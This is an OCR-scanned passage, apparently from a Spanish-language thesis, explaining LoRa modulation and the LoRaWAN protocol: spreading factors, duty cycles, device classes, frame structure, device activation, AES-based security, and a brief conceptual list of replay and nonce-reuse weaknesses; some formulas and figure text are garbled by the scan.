2.2.2 Especificacion técnica

La modulacion LoRa [38] define la capa fisica de la torre de protocolos de los dispositivos que se comunican a
través del protocolo de red LoRaWAN.

Application
LoRaWAN® MAC
MAC Layer
= . (MAC)
LoRalWAN MAC Options
Class A Class B Class C
= LoRa Modulati
= oRa Modulation
LgRa Physical Layer
= (PHY)
Regional Band

e
P
SEMTECH EU us AU CN
863-870 902-928 915-928 470-510

Figura 24. Arquitectura LoORaWAN

En los siguientes apartados se definen las propiedades fisicas de la modulacion LoRA.

2.2.21 Frecuencia

Al ser una modulacion basada en CSS, cada simbolo transmitido se representa como una sefial que varia
continuamente en frecuencia (“Chirp Signal”). De esta forma, la energia de la sefial completa se distribuye en
un mayor rango de frecuencias, lo que implica que el receptor pueda distinguir y decodificar sefiales con un
SNR (“Signal-to-Noise Ratio”) mas pequefio.
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Donde fo es la frecuencia central y B el ancho de banda de la sefial (Hz). Esto supone una ventaja,
especialmente en el receptor, ya que las compensaciones de tiempo y frecuencia entre transmisor y receptor
son equivalentes.
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Figura 25. Modulacion LoRa. Simbolos codificados vs decodificados

En la Union Europea (region ITU-1), la banda de 868 se divide en 10 canales LoRa, con anchos de 125 y 250
kHz para comunicaciones ascendentes (nodo-pasarela) y de 125 kHz solo para canales descendentes (pasarela-
nodo) [39].

2.2.2.2 Factor de dispersion

Otra caracteristica fundamental para el analisis de LoRa es el SF (“Spreading Factor”, factor de dispersion), un
parametro que relaciona la tasa de simbolos y el niimero de pulsos por segundo (“Chirp Rate”). Este parametro
de 1a modulacion controla la velocidad de transmision de los datos, mejorando la ganancia de procesamiento y
aumentando la tasa de transmision de datos (aumenta el niimero de pulsos por segundo) cuando disminuye el
SF. En cambio, aumentando el SF se alcanzan mayores distancias. LoRa utiliza hasta 6 SF distintos (SF7 —
SF12) en funcion de las necesidades de la red y de los dispositivos.

Es necesario mencionar que los factores de dispersion son ortogonales entre si, esto supone que si en un
mismo canal hay dos sefiales con factores de dispersion distintos no van a interferirse, se tratan como ruido.

2.2.2.3 Tasa de bits

Se define la tasa de bits transmitidos y la tasa de simbolos, respectivamente, como:

1 .
—7 bits/sec

[

R, = SF

1 BW
Ts  2°F

Rs = symbols/sec



2224 Tasade chirps

La tasa de chirps coincide con el ancho de banda ya que se transmite un c/irp por segundo y por hercio (Hz):

RC=R3*2SF

R¢ =/§V; £25F chips /sec

2225 Relacion entre el factor de dispersién y la tasa de bits

La modulacién LoRa afiade una correccion de errores hacia adelante (FEC) en la transmision. Para
implementar este mecanismo, se codifican los datos en grupos de 4 bits con redundancias de 5 a 8 bits. Estas
redundancias permiten soportar interferencias breves en el canal. Finalmente, la tasa de bits se relaciona con el
resto de los parametros comentados anteriormente en la siguiente expresion:

‘
Ry = SF * —[*z*;—;ﬂ
)

Donde CR es la tasa de codificacion (Code Rate) que se trata de un valor entre 1 y 4. Por lo tanto, se
alcanzaran tasas de datos entre 0.3 kbps y 27 kbps. El aumento del valor de CR permite soportar mejor las
interferencias, en cambio, como desventaja, aumenta la duracion de la transmision.

En la siguiente imagen, se comparan las tasas de bits, la distancia maxima aproximada para la recepcion de
datos sin errores y el tiempo en el aire (TOA), para un mensaje de 11 bytes:

Spreading Factor Bit Rate Range Time on Air
{For UL at 125 KHz) (Depends on Terrain) for an 11-byte payload

SF10 980 bps 8 km 371 ms
SF9 1760 bps 6 km 185 ms
SF8 3125 bps 4 km 103 ms
SF7 5470 bps 2 km 61 ms

Figura 26. Comparacion de la tasa de bits, distancia y TOA segtin el SF

Los factores de dispersion que se muestran en el ejemplo son los utilizados en mensajes de enlace ascendente
(UL, uplink) para un canal de 125 KHz.

Observando estos resultados se confirma que si se aumenta el SF la distancia serd mayor a costa de una tasa de
bits menor y un tiempo en el aire mayor. En cambio, se consiguen tasas de bits mas altas y permaneciendo
menos tiempo en el aire si se disminuye el SF, pero con una cobertura menor.

2226 Ciclo de Trabajo (Duty Cycle)

El ciclo de trabajo indica la fraccion de tiempo que un dispositivo utiliza para transmitir datos.
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Figura 27. Ejemplo de Duty Cycle

En Europa, los ciclos de trabajo estan regulados por la seccion 7.2.3 de la norma ETSI EN300.220. Esta norma
define las siguientes sub-bandas y sus ciclos de trabajo maximos:

g (863.0 — 868.0 MHz) 1%
g1 (868.0 — 868.6 MHz) 1%
g2 (868.7 — 869.2 MHz) 0.1%
g3 (869.4 — 869.65 MHz) 10%
g4 (869.7 — 870.0 MHz) 1%

Figura 28. Sub-bandas y Duty Cycle maximos en Europa

2.2.3 Protocolo LoRaWAN

LoRaWAN define el protocolo de comunicacion para conectar dispositivos inalambricos y alimentados por
bateria desplegados en grandes areas (areas regionales, nacionales o globales). Este protocolo garantiza la
comunicacion bidireccional, mecanismos de seguridad y servicios de movilidad. Estas redes son

implementadas con topologia en estrella en la que una gran cantidad de dispositivos finales se comunican con
una pasarela (o varias). [40]

~—
LoRaWAN"
—
v
Figura 29. Logo LoRaWAN

La red LoRaWAN tiene conectividad en mas de 170 paises y se ha convertido en la red lider de las Smart
Cities, entre otros motivos, por ser un estandar abierto, estar implementado en mas de 155 operadores de redes
moviles y el gran nimero de proyectos desarrollados utilizando esta tecnologia a nivel mundial. [41]

2.2.31 Versiones

LoRaWAN es una tecnologia relativamente moderna y como tal, presenta un trabajo continuo por parte de la
LoRa Alliance®. Este trabajo resulta en la definicion de la especificacion de las distintas versiones del



protocolo LoRaWAN. Cada version del protocolo corrige, mejora y afiade nuevas funcionalidades y seguridad
a las versiones anteriores. Estas versiones pueden distinguirse en dos tipos: las versiones mas estables (hoy en
dia), certificables y utilizadas por la mayoria de los médems LoRaWAN, las 1.0.x, y por otro lado se encuentra
la version que tiene la definicion mas reciente del protocolo y que presenta las ultimas caracteristicas y
funcionalidades, pero que no se encuentra plenamente soportada por los médems ni por los Network Server, la
version 1.1.

Las versiones no son retro compatibles, es decir, un dispositivo que implementa una version no tiene por qué
funcionar correctamente si el Network Server utilizado tiene una version superior (y viceversa). Por ello, la
version de LoRaWAN es uno de los parametros claves que debe tenerse en cuenta a la hora de configurar la
red, de modo que, para asegurar la comunicacion, tanto Network Server como dispositivos deben estar
utilizando la misma version de LoRaWAN.

Las versiones que han sido publicadas hasta este momento son:

e Version 1.0 (enero de 2015): version inicial.

e Version 1.0.1 (febrero de 2016): aclaraciones y correcciones.

e Version 1.0.2: (julio de 2016): separacion de parametros por regiones.

e  Version 1.1: (octubre de 2017): se afiaden funciones de seguridad y roaming.
e Version 1.0.3: (julio de 2018): se anade la clase B para dispositivos.

e  Version 1.0.4: (octubre de 2020): aclaraciones, mejoras de seguridad y en la clase B.

Debido a que en 2017 no tuvo gran éxito la version 1.1, LoRa Alliance continué mejorando las versiones
1.0.x. Se espera que la proxima version sea de la serie 1.1 [42].

223.2 Clases de dispositivos

En LoRaWAN los dispositivos se clasifican en “Clases” en funcion de su modo de operacion [43].

e Clase A: Dispositivos que suelen pasar la mayor parte de su tiempo en un estado de bajo consumo, sin
comunicacion con la red y solo de manera puntual se activan para realizar alguna comunicacion.
Durante el tiempo que el dispositivo se encuentra en bajo consumo, este no podra recibir mensajes,
por lo que s6lo podra recibirlos en el momento en el que se haya activado y realizado una transmision.
Enfocado a dispositivos de ultra bajo consumo que no presentan alimentacion externa, sino que son
portables y disponen de baterias internas.
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Figura 30. Representacion del comportamiento de un dispositivo Clase A

e (lase B: Dispositivos que de forma periddica y sincrona transmiten y escuchan la posible recepcion
de mensajes. Por ejemplo, enfocado a aplicaciones donde el dispositivo actiie como un Beacon donde
constantemente se requiere el envio y/o recepcion de datos.
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Figura 31. Representacion del comportamiento de un dispositivo Clase B

e (lase C: Dispositivos que estan en todo momento accesibles para comunicar y recibir mensajes.
Enfocados a dispositivos que presentan una alimentacion externa y el consumo no es un requisito
importante.
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Figura 32. Representacion del comportamiento de un dispositivo Clase C



2.2.3.3 Bandas de frecuencia ISM

LoRaWAN es un protocolo que trabaja dentro de las bandas libres ISM (Industrial, Scientific and Medical) de
cada region que corresponda. Las principales bandas son [44]:

e EUS68 (Europa, India, Rusia, Africa)
o US915 (Estados Unidos)

e (CN779 (Canada)

e EU433 (Asia)

o AU915 (Australia)

e (CN470 (China)

Por el hecho de ser bandas libres, cualquier persona puede utilizarlas por lo que el uso de la banda es
compartido por muchos usuarios.

Existen regulaciones del espacio radioeléctrico en cada una de las regiones y paises con relacion al uso del
espectro ISM. Entre los limites mas relevantes de dichas regulaciones se encuentran el tiempo en aire (TOA,
del inglés Time On Air) y relacionado con este, el ciclo de trabajo (Duty Cycle), asi como la potencia de
emision maxima (EIRP, del inglés, Equivalent Isotropically Radiated Power) que puede radiar un dispositivo.
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Figura 33. Bandas ISM

LoRaWAN es una tecnologia que esté orientada al bajo consumo y por ello, la banda asignada para operar y
las regulaciones de estas son adecuadas para el rango de aplicaciones que abarcaria. Estas regulaciones
implican que los dispositivos solo pueden comunicar una pequefia cantidad de datos (del orden de decenas de
bytes) en sus mensajes, y solo podrian enviar unas pocas veces al dia (aqui entra el compromiso entre nimero
de transmisiones, cantidad de datos a transmitir, cumplimiento de la regulacion y consecuente gasto
energético).

2234 DataRate y Spreading Factor

Como se trat6 al principio de este capitulo, respecto a la comunicacion LoRaWAN, existen unos pardmetros
caracteristicos de la propia modulacion LoRa que en la practica afectan tanto a la velocidad de transmision de
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un mensaje (el tiempo en aire), como a la redundancia y alcance de cobertura del mensaje, estos son el DR
(Data Rate) y el SF (Spreading Factor). [45] Ambos estan relacionados entre si, y dependeran de la banda de
frecuencia en la que se esté emitiendo, por ejemplo, para la banda europea EU868:

e DRO-SF12BW125
e DRI1-SF11BWI125
e DR2-SF10BW125
e DR3-SFIBWI125
e DR4-SF8BWI25
e DR5-SF7BWI125
e DR6-SF7BW250

Cuanto mas alto sea el SF y, por tanto, mas bajo el DR, menos velocidad en la comunicacion, mas tiempo de
transmision del mensaje y mas alcance, mientras que un SF mas bajo implicaria una mayor velocidad de
comunicacion y un menor tiempo de transmision del mensaje, pero también un menor alcance del mensaje.

Debido a que la duracion de la transmision de un mensaje (tiempo en aire) interferira y bloqueara la
posibilidad de otros dispositivos de transmitir durante ese tiempo en dicho canal, lo Optimo para las
comunicaciones, y para favorecer la escalabilidad de una red LoRaWAN, es que los dispositivos hagan uso del
espectro el menor tiempo posible, esto es, que transmitan lo mas rapido que puedan, es decir que utilicen un
SF bajo. Por ejemplo, un dispositivo transmitiendo en SF7 tarda cerca de 30 veces menos tiempo en transmitir
un mensaje que estando en SF12.

2.2.3.5 Data Rate Adaptativo

Dentro de una red LoRaWAN existe un mecanismo denominado ADR (Adaptative Data Rate) [46] que puede
ser activado/desactivado y permite que el propio Network Server determine el Data-Rate/SF optimos para la
comunicacion que deberia utilizar cada dispositivo/nodo que actualmente se encuentre en la red.

Hay que tener en cuenta que el ADR no es un mecanismo que actiie de inmediato, sino que tras recibir el
Network Server una suficiente cantidad de mensajes proveniente de un dispositivo analizard los niveles de
sefiales de todos esos mensajes y determinara si debe o no, enviar un mensaje de ADR hacia el dispositivo
para que este cambie de SF en el que se encuentra trabajando
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Figura 34. Representacion del comportamiento del ADR

2.2.3.6 Confirmacion de mensajes (ACK)

Tanto los dispositivos/nodos como el Network Server de una red LoRaWAN presentan un mecanismo interno
del propio protocolo LoORaWAN para la confirmacion de mensajes, por el cual, cada vez que uno de estos
elementos envie un mensaje, esperara recibir una confirmacion de su recepcion por parte del otro dispositivo.

Los ACKs [47] internos de LoRaWAN son asincronos, esto es que no tienen por qué ser enviados en el
momento en el que se recibe un mensaje, sino que podrian tardar en ser transmitidos en funcion del estado y
uso de la red (una confirmacion de mensaje LoRaWAN podria incluso llegar a tardar en enviarse horas
después de la recepcion del mensaje).

El uso de las confirmaciones no implica que llegue el 100% de los mensajes, solo significa que al menos los
equipos reintentaran varias veces un envio si no recibe respuesta, puesto que existe un numero limitado de
reintentos para no prolongar la operacion mas de lo necesario.

2.23.7 Calidad de senal (RSSly SNR)

En LoRaWAN el parametro RSSI (Received Signal Strength Indicator) marcara el nivel de potencia de la
sefial, mientras que el parametro SNR (Signal-to-Noise Ratio) marcard en qué posicion se encuentra dicha
sefial respecto del umbral de ruido (relacion sefal ruido) radioeléctrico [48].

e RSSI:
o Valores tipicos de operacion: -50dBm a -140dBm.
o Cuanto mas cerca de -50dBm mejor.
o Sefial débil <=-120dBm.
o Sefial aceptable >=-100dBm.

e SNR:
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o SNR > 0; Seiial por encima del ruido.
o SNR <0; Senal por debajo del ruido.
o Valores tipicos en LoRA de -20dB a +10dB.

o Cuanto mayor sea el valor del SNR, mejor calidad presenta la sefial.

El valor de SNR méaximo para poder demodular la sefial, es decir, que el receptor pueda recibir e interpretar
dicho mensaje, para diferentes SF utilizados en una transmision es:

e SF=7,SNR <=-7.5dB

e SF=§,SNR <=-10dB

e SF=9,SNR <=-12.5dB
e SF=10,SNR<=-15dB

e SF=11,SNR <=-17.5dB
e SF=12,SNR <=-20dB

Para determinar si una red LoRaWAN desplegada (o un dispositivo concreto) presenta unas comunicaciones
“buenas” o “malas”, puede seguirse el siguiente algoritmo basado en el estudio de Senlab™ [49] sobre sus
propios dispositivos:
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Figura 35. Algoritmo para valorar la calidad de la sefal

En la siguiente imagen se muestran las distintas zonas de calidad de la sefial que considera Senlab™ para sus
productos y algunas recomendaciones para mejorar la calidad:

RSSI: Received Signal Strength Indicator
LSNR: LoRa Signal Noise Rate

Reference test (line of sight) :
+ dist. 1m > RSSI-30dB
+ dist. 2m > RSSI-40dB
¥' Dist.x2 > RSSI-6dB

LSNR

RF level is not optimal but must be
sufficient

= Try to improve your device
position if possible

= You will have to monitor the
stability of the RF level

rues: [

O Sensor at least at 1 meters of the gateway antenna

QO it always depends of the global environment

Figura 36. Regiones de la calidad de sefial LoRa segiin Senlab™
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2.24 Trama LoRaWAN

En este apartado se van a describir los campos que conforman la trama fisica de LoRaWAN, qué mensajes se
pueden enviar/recibir, el procedimiento de union a una red LoRaWAN vy el establecimiento de sesiones [50].

Header + PHY Payload Payload CRC

Preamble | | ader CRC (20 bits) P bytes 6bits Physical Layer

Frame Header Frame Port Frame Payload
7 ~22 byte 1 bytes N byles

Application Layer

————— n“-«Er_g’_\-'pted by App Session Key

Device Address  Frame Control Frame Counter Frame Options
4 byles 1 byte 2 bytes 0...15 byles

Figura 37. Campos de la trama LoRaWAN

2241 Capafisicaradio

Se trata de la capa encargada de ofrecer sus servicios a las capas superiores (MAC y Aplicacion) para
transmitir los mensajes a través del enlace de radiofrecuencia.

2242 Preambulo

Se utiliza para mantener al receptor sincronizado con el flujo de datos entrante. El valor por defecto son 12
simbolos, pero normalmente se utilizan 8§ en LoRaWAN.

El valor del preambulo del receptor debe ser el mismo que el del transmisor.

2243 Cabecera fisica (PHDR / PHDR_CRC)

Contiene informacion sobre el nimero de bytes de datos transmitidos, la tasa de codificacion y si se habilitan
los 2 bytes de CRC (Cyclic Redundancy Check) que sirve como mecanismo de deteccion de errores de los
datos transmitidos.

2244 Datos fisicos (PHYPayload)

Son los valores encapsulados de los campos de la capa de control de acceso al medio (MAC) y, a su vez, de la
capa de aplicacion.

Un ejemplo de este campo seria el mostrado en la siguiente imagen:



example : 80(02301260021000266EEA76CCEGCIBBC7A3EFBIF
80 C@230126 (514] 2160 B2 66EEA76CCERCIBBC JA36F69F
MTYPE devaddr FCtrl FCnt FPort DATA MIC

Figura 38. Ejemplo en hexadecimal del campo PHYPayload

2245 Capade control de acceso al medio (MAC)

Esta capa es la encargada de la transmision/recepcion de comandos MAC y de los datos de la capa de
aplicacion.

2246 Cabecera MAC (MAC Header)

Se trata de una cabecera de 8 bits que se subdivide en:

e  MType (3 bits): identificador del tipo de mensaje.
e RFU (3 bits): son bits reservados para funcionalidades futuras.
e  Major (2 bits): identifican la version de los mensajes.

2.24.7 Datos MAC (MAC Payload)

Se tratan de comandos de control de acceso al medio que se utilizan para la administracion de la red entre el
Gateway y los nodos. Los datos de la capa MAC son generados por la capa de aplicacion.

2248 MIC (Message Integrity Code)

Se trata de un mecanismo de integridad del mensaje. Tiene similitudes respecto a un checksum pero el campo
MIC evita la manipulacion intencionada de un mensaje. El MIC es generado a partir de la AppKey. [51]

By = [0x49]s[0]32[D]s [DevAddr|32[Cnt]32[0]s[HeaderLen + PayloadLen|s
MIC = AES-128-CMAC(NwkSKey, [Bo][Header|[EncFRMPayload))

Figura 39. Cifrado AES-CMAC de 128 bits para generar un MIC

2249 Capade aplicacion

Es la capa encargada de recopilar los datos de los sensores y de acceder a los servicios de las capas inferiores
para transmitir los mensajes LoRaWAN.

22410 Cabecera de trama (Frame Header)

Se trata de una cabecera de 7 a 22 octetos que se subdivide en:

e Device Address (4 bytes): direccion efimera que se asigna a los nodos cuando se unen a la red.

e Frame Control (1 byte): bits dedicados al control de trama, en especial a asentamientos y ADR.

e Frame Counter (2 bytes): contador que enumera las tramas enviadas por un nodo.
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e Frame Options (0-15 bytes): campo dedicado al envio de comandos MAC.

2.24.11 Puerto de trama (Frame Port)

Una vez un dispositivo se encuentra comunicando en la red, sus mensajes contendran y haran referencia a un
parametro denominado Frame Port que es un identificador numérico de 1 byte que suele representar la
aplicacion/servicio a la que pertenece un mensaje. Los puertos se agrupan de la siguiente forma:

Puerto 0: reservado para mensajes de control de acceso.

Puertos 1-223: disponibles para transportar datos.

Puerto 224: destinado para pruebas de control de acceso.

Puertos 225-255: reservados para futuras versiones.

El Puerto 0 esta reservado por la red LoRaWAN para el envio de mensajes “MAC” de configuraciones
internas de la propia red, por ejemplo, es el puerto utilizado cuando el Network Server quiere indicarle a un
nodo que cambie de SF debido a que tiene el ADR activado. Este puerto no debe de ser utilizado directamente
por los usuarios de la red.

2.24.12 Datos de trama (Frame Payload)

Se trata del campo de la trama donde se encuentran los datos que va a enviar el dispositivo LoRaWAN a la
red. El valor de Frame Payload se cifra con una clave de sesion de aplicacion (AppSKey). Este cifrado se basa
en el algoritmo AES 128. [52]

o
AES Design

128bit

192bit —~ Secret Key Plain Text
256 bit -~

Cipher
128 bit -~
192bit - Cipher Text

256 bit

Figura 40. Cifrado AES

225 Tipoderedy usodelared

Las redes LoRaW AN pueden ser Publicas o Privadas. [53]

e Una red Privada es aquella cuya infraestructura (a excepcion de los dispositivos y del AppServer)
depende de un tinico operador y esta pensada para una tinica aplicacion.

e Una red Publica es aquella cuya infraestructura puede depender de diferentes participantes y ademas
la red esta disponible para que funcionen multiples aplicaciones sobre ellas.



Las redes LoRaWAN se configuran para ser Piblicas o Privadas, no obstante, esto no implica que el uso que
se le vaya a dar a la red sea el correspondiente a las definiciones anteriores de tipo de red, por ejemplo, la
organizacion que esté detras de una red (o del Network Server) podria configurarla para ser de tipo publica,
pero darle un uso privado, es decir, seria una red de tipo publica, pero con un uso privado exclusivo para una
aplicacion (y conjunto de dispositivos) concretos. Debido a esto, es importante diferenciar entre el tipo de red
configurada y el uso de la red.

2.2.6 Elementos de una red LoRaWAN

Los elementos principales de una red LoRaW AN pueden resumirse en [54]:

e Nodos: son los dispositivos finales que envian datos provenientes de la informacion de sus sensores
hacia el Gateway.

e Gateways: son los dispositivos encargados de dar cobertura a los nodos, comunicarse con ellos ¢
integrarlos con el Network Server.

o Networks Servers: son sistemas de proposito general que permiten compartir, almacenar y administrar
los recursos de la red. Son los encargados de gestionar el acceso a la red, eliminar paquetes
duplicados, ajustar las tasas de transmision, determinar la mejor pasarela para enviar una respuesta de
los servidores de aplicacion, etcétera.

e  Application Server: servidor final que gestiona o utiliza los datos transmitidos en la red.

e Join Server: servidor destinado a la union de los nodos en la red (solo en arquitecturas LoRaWAN
1.1)

En la siguiente imagen [55] se muestra la arquitectura de una red LoORaWAN 1.0.x:

Application
Servers

® @®© ©

End Devices Gateways

LoRa RI

Connection IP Connections
eclions

Figura 41. Arquitectura de una red LoRaWAN 1.0.x

En cambio, la arquitectura de una red LoRaWAN 1.1:
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Figura 42. Arquitectura de una red LoRaWAN 1.1

2.2.7 Mensajes

En LoRaWAN, se utilizan los términos Uplink y Downlink [56] para hacer referencia a los mensajes que

“suben” o “bajan” por la red.

e Los mensajes Uplink seran aquellos transmitidos por los nodos de la red y llegaran al Network Server

y en ultima instancia al Application Server.

e Los mensajes Downlink seran aquellos mensajes que son enviados por el Application Server y el

Network Server, hacia un nodo o grupo de nodos.

Asi, los mensajes Uplink suelen ser mensajes de datos enviados por los dispositivos, mientras que los

mensajes Downlink suelen ser mensajes de configuracion enviado hacia un dispositivo.

Application Network
Server

o
S
£
2
5
=

© © O

Time

Figura 43. Mensajes de subida (uplink) y de bajada (downlink)



2271 Mensajes MAC

Los siguientes mensajes MAC [57] que se encuentran presentes tanto en la version 1.0.x como en la 1.1 son
los siguientes:

o Join-Request: mensaje de subida para unirse a la red por un nodo con activacion OTAA hacia un
Network Server. En la version 1.1, el Network Server reenvia este mensaje hacia el Join Server. Los
mensajes Join-Request no se cifran.

o Join-Accept: mensaje de bajada para nodos con activacion OTAA como confirmacion de un Join-
Request previo. En las versiones 1.0.x, este mensaje lo origina el Application Server. En cambio, en la
version 1.1 lo origina el Join Server. Otra diferencia es que en las versiones 1.0.x estos mensajes son
cifrados con la AppKey del nodo. En cambio, en la versién 1.1 se cifran con la NwkKey o con
JSEncKey.

e Unconfirmed / Confirmed Data Up/Down: tramas de datos de subida y bajada. Pueden requerir
confirmacion (Confirmed) o no (Unconfirmed).

e (solo en 1.1) Rejoin-Request: mensaje utilizado por un nodo y dirigido al Network Server para
restablecer los parametros radio, retomar una sesion perdida o cambiar las claves del nodo.

MType Description
000 Join Request
001 Join Accept
010 Unconfirmed Data Up
011 Unconfirmed Data Down
100 Confirmed Data Up
101 Confirmed Data Down
110 RFU
111 Proprietary

Table 1: MAC message types

Figura 44. Mensajes MAC y valor de MType

2.2.8 Activacion de los dispositivos

Para que un nodo pueda comunicarse en una red, éste debe darse a conocer para ser identificado por el
Network Server. Esto es lo que se conoce en LoRaWAN por Activacion, y existen dos tipos de activaciones
posibles: la activacion por personalizacion (ABP, del inglés Activation By Personalization) y la activacion por
el aire (OTAA, del inglés Over The Air Activation). [58] A continuacion, se comentan las caracteristicas
principales de estos dos tipos de activacion:

e ABP: Este tipo de activacion se basa en el conocimiento previo, por parte del nodo, de las claves
utilizadas en la red para la validacion y cifrado de los mensajes, estas son la NwkSKey (Network
Session Key) y la AppSKey (Application Session Key). De modo que tanto el Network Server, como
cada uno de los nodos conocen ambas claves y estas no son transmitidas en ninglin momento por la
red, por lo que los dispositivos pueden comunicarse directamente siempre y cuando las claves
presentes en el dispositivo y en el Network Server coincidan. La configuracion de las claves a utilizar
se lleva a cabo en el proceso de provision (“dar de alta”) de un dispositivo en el Network Server.
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Figura 45. Activacion ABP

e OTAA: Este tipo de activacion, a diferencia de ABP, presenta un proceso inicial de establecimiento
de conexion por parte de un nodo con la red. Se basa en el uso de un “identificador de aplicacion”
(AppEUI) y una “clave de conexion” (AppKey) iniciales que son utilizadas en los mensajes de
establecimiento de conexion, los cuales consisten en el mensaje de peticion de conexion enviado por
el nodo (JoinRequest) y en la respuesta y confirmacion de conexion por parte del Network Server
(JoinAccept). En el momento en que el Network Server confirma la conexion, le enviara al nodo, el
par de claves NwkSKey y AppSKey que usara el dispositivo para comunicarse por la red. Al contrario
que en ABP, donde la NwkSKey y la AppSKey son estaticas, estas claves en OTAA son dinamicas,
es decir si el dispositivo pierde conexion y vuelve a conectarse a la red, podra adquirir nuevas claves.
La configuracion del identificador de aplicacion AppEUI y la clave de conexion AppKey se lleva a
cabo en el proceso de provision (“dar de alta™) de un dispositivo en el Network Server.

Qﬂ Over-The-Air Activation

—
Device sends join-request witt

pre-programmed DevEUI, Any gateway that manages {'3\ The Network Server receives
AppEUI and AppKey, as well as to receive the packet, ‘\) request and consults the entity
arandom DevNonce. forwards it to its network. associated with the AppEUI to
Note the AppKey is not sent in 757 Note that the device is validate the request. If permission
the clear, but rather in a hash. 1§ 2 / agnostic to both the is granted, it responds with a
= gateway and the network join-accept message.

used to relay its message.

>

The join-accept response

The device stores the NetiD, Only the gateway with the contains a NetlD, a DevAddr and
DevAddr and network settings, strongest signal to the device a AppNonce, as well as some
and then uses the AppNonce = send the response back. network settings like DLSettings, §‘-—~w
to generate its session keys, ( 5 | RxDelay and an optional CFList. *& )

NwkSKey and AppSKey. =/

Figura 46. Activacion OTAA

2281  Join Delay

Un parametro que solo aplica en redes donde el tipo de activacion de los dispositivos es OTAA es el llamado
“tiempo de conexion” (Join Delay), es decir, el tiempo méaximo que espera un dispositivo/nodo tras transmitir
un mensaje de conexion (JoinRequest) para recibir la respuesta de confirmacion (JoinAccept) por parte del
Network Server. Si el valor de Join Delay no coincide entre lo configurado en el Network Server y en los
dispositivos, la conexién no podra llevarse a cabo y no habra comunicacion.

229 Unidnalaredy sesiones

La unién a la red se debe distinguir entre el modo de activacion de los nodos (OTAA / ABP) y la version de la
red LoORaWAN (1.0.x / 1.1). [59]

Activacion OTAA (v1.0.x):




1. Elnodo inicia un mensaje Join-Request en el que proporciona su AppEUIL DevEUI y DevNonce.

2. El Network Server genera las claves de sesion (NwkSKey y AppSKey) y el mensaje Join-Accept
donde le envia al nodo, entre otros parametros menos significativos, el AppNonce (con el que se han
generado las claves de sesion) y el DevAddr.

El nodo recibe el mensaje Join-Accept si tiene permiso para unirse a la red.
4. El Network Server conserva la NwkSKey y envia al Application Server la AppSKey.

5. El nodo descifra el mensaje Join-Accept y extrae las claves de sesion a partir de la AppKey y del
AppNonce.

AppKey AppKey

Network Server Application Server

OJoin-request

Processes the Join-request,
session key generation
(AppSKey, NwkSKey)

gjoin—accept
(4]
Keeps

AppSKey distribution

Session key generation
(AppSKey, NwksKey)

\
Figura 47. Union a la red con activacion OTAA en 1.0.x

Activacion OTAA (v1.1):

1. El nodo inicia un mensaje Join-Request en el que proporciona su JoinEUI (identifica al Join Server
univocamente), DevEUI y DevNonce.

2. El Network Server reenvia el Join-Request al Join-Server correspondiente.

3. El Join-Server genera todas las claves de sesion (AppSKey, FNwkSIntKey, SNwkSIntKey y
NwkSEncKey). El nodo recibe el mensaje Join-Accept si tiene permiso para unirse a la red.

4. El Network Server genera el mensaje Join-Accept donde envia, entre otros parametros menos
significativos, el JoinNonce (del que se derivan las claves de sesion) y el DevAddr.

5. El Join-Server envia la AppSKey al ApplicationServer y el resto de las claves de sesion al Network
Server.

6. El nodo descifra el mensaje Join-Accept y extrae las claves de sesion a partir de la AppKey, de la
NwkSKey y del JoinNonce.
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Figura 48. Union a la red con activacion OTAA en 1.1

Activacion ABP (v1.0.x):

1. Elnodo almacena directamente su DevAddr y las claves de sesion.
2. El Network Server almacenara también el DevAddr del nodo y la NwkSKey.
3. El Application Server almacenara la AppSKey.

End-Device NS AS

AppSKey DevAddr

DevAddr

Figura 49. Union a la red con activacion ABP en 1.0.x

Activacion ABP (v1.1):

1. Elnodo almacena directamente su DevAddr y las claves de sesion.

2. El Network Server almacenara también el DevAddr del nodo y las claves de sesion.
3. El Application Server almacenara la AppSKey.

4. El Join-Server queda sin uso.



DevAddr

DevAddr

NS - Forwarding

Figura 50. Union a la red con activacion ABP en 1.1

2.210 Mecanismos de seguridad

La seguridad en las redes LoRaWAN se basa en tres propiedades [60]:

e Autenticacion mutua: se establece entre los nodos y la red LoRaWAN en el proceso de union a la red.
Unicamente si los dispositivos son conocidos por la red podran unirse.

e Proteccion de la integridad: este mecanismo impide que los datos sean manipulados durante la
transmision.

o Confidencialidad: se cifran los datos sensibles (payloads) intercambiados entre los nodos y los
Application Servers para evitar ser comprendidos si se capturan.

Por otro lado, el cifrado se implementa utilizando AES (“Advanced Encryption Standard’) en dos capas [61]:

e Laprimera capa genera la clave de sesion NwkSKey (AES 128 bits) usada para generar los valores de
MIC para cada mensaje entre nodos y Network Servers.

e La segunda capa genera la clave de sesion AppSKey (AES 128 bits) usada para cifrar el payload de
los mensajes intercambiados entre nodos y Application Servers.

La ventaja de utilizar estas dos capas en el cifrado es que permiten tener redes compartidas sin que el operador
de red tenga visibilidad de los datos de los nodos.

Otros mecanismos de seguridad son:

e Autenticacion de nodos mediante claves tnicas (AppKey) e identificadores globales (DevEUI).

e Cifrado de los datos (payload) usando AES-CTR (Counter mode). Uso de AES-CMAC para generar
un valor MIC y evitar la manipulacion de los paquetes. [51]
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Figura 51. Cifrado AES en Counter Mode (CTR)

e Uso del campo DevNonce y del contador de tramas (FCnt) para evitar ataques de repeticion. Cuando
un nodo se une a la red, este campo se inicia a 0 y se va incrementando segiin vaya mandando
paquetes el nodo. Si los nodos o la red LoRaWAN reciben un paquete con un contador inferior al
anterior, se desecha. [51]

A; = [1]8[0]32[D]s[DevAddr|32[Cnt]32[0]s[i]s
S; = AES-128(K, A;)
EncFRMPayload = [So][S1][S2] - - - [Sn] @ FRMPayload

Figura 52. AES-CTR sobre tramas LoRaWAN

2.2.11 Vulnerabilidades

A posteriori, se han descubierto problemas de seguridad y vulnerabilidades en el protocolo LoRaWAN. Para la
version 1.0.2 las principales vulnerabilidades son [51][62] [63]:

e Reutilizacion de contadores de mensajes.

e Reutilizacion de nonces. La red no registra correctamente los DevNonce y AppNonce transmitidos,
por lo que es posible que se repitan estos valores.

e Posibilidad de ataques de repeticion en los mensajes Join-Accept. Debido a la reutilizacion de nonces,
un dispositivo OTAA podria recibir varios mensajes Join-Accept al coincidir sus valores de
DevNonce y/o AppNonce con otro dispositivo de la red.
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Figura 53. Ejemplo de ataque de repeticion

Los mensajes ACK no se asocian a ningin mensaje especifico, permitiendo ataques de repeticion para
que un nodo, o bien retransmita un mensaje al no recibir el ACK correspondiente, o bien reciba
ACK’s de mensajes que en realidad no han llegado al Network Server.

Upetr= 19

Updr =20
Dnar=10 Ty
M1 upctr =20
M1 upctr =20
ACK dnctr = 11
ACK dncir = 11 ACK pause
Upctr =21
